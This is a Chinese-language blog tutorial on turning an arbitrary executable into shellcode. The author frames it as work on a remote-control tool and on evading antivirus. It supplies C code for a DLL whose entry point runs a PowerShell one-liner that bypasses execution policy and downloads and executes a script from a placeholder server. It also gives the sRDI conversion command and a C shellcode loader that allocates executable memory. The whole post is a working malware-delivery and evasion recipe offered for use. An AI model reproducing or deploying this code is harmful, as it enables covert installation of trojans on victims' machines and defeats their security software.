任意Exe转ShellCode?

2023-06-13,,

之前写过一个远控,但一直在琢磨如何生成shellcode,今天偶然看见一个项目:sRDI,github上就有

这个项目主要就是将dll转成shellcode,于是我就想到了“写一个输出文件的dll,然后将这个dll转成shellcode不就好了吗?”

测试了一下,真行得通,但是拿到了shellcode并没有什么用,就算静态绕过了动态还是过不去,释放文件的一瞬间就被杀了,没有任何用处……

脑子一抽,我又想到了个方法,“写个注入exe到其他进程的dll不就好了吗?”

但是后期实现的时候才发现注入exe到其他进程是个高级的操作,写起来比较麻烦(我不会

于是乎,想到了另外一种歪门邪道的方法:

正文开始

  GitHub - yanncam/exe2powershell: exe2powershell - exe2bat reborn for modern Windows

  这个项目可以将一个exe转换成.ps1的powershell脚本,将生成的powershell脚本上传到任意空间/服务器,然后写一个执行一句话木马的dll就好啦(也可以使用其他exe不落地执行的方法代替,步骤一样,还是要上传到空间或服务器,反正能直接访问获取到内容就行了)

#include <windows.h>
using namespace std;
void powershell() {
system("PowerShell.exe -ExecutionPolicy Bypass IEX (New-Object Net.WebClient).DownloadString('http://ip/filename.ps1')");//执行powershell一句话木马
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) {
switch(fdwReason) {
case DLL_PROCESS_ATTACH: {
powershell();
}
case DLL_PROCESS_DETACH: {
break;
}
case DLL_THREAD_ATTACH: {
powershell();
}
case DLL_THREAD_DETACH: {
break;
}
}
return TRUE;
}

创建一个dll项目,将代码复制进去,编译,然后使用sRDI将其转换成shellcode就好了

python ConvertToShellcode.py -i -c name.dll

在\sRDI-master\Python\文件夹中打开cmd输入命令,回车后就会发现文件夹下多出了一个name.bin,这时候基本上大功告成啦!

扩展补充

可以使用winhex等工具将生成好的.bin文件转成.c代码或其他语言的代码,如果直接调用bin文件的话是多文件,实战中不太方便

C语言Shellcode加载器

#include <windows.h>
int main(){
unsigned char shellcode[] = { };//输入你的c语言格式的shellcode
// Allocate memory for shellcode
LPVOID lpShellcode = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpShellcode == NULL)return 0;
// Copy shellcode to allocated memory
memcpy(lpShellcode, shellcode, sizeof(shellcode));
// Execute shellcode
((void(*)())lpShellcode)();
// Free allocated memory
VirtualFree(lpShellcode, 0, MEM_RELEASE);
return 0;
}

任意Exe转ShellCode?的相关教程结束。

《任意Exe转ShellCode?.doc》

下载本文的Word格式文档,以方便收藏与打印。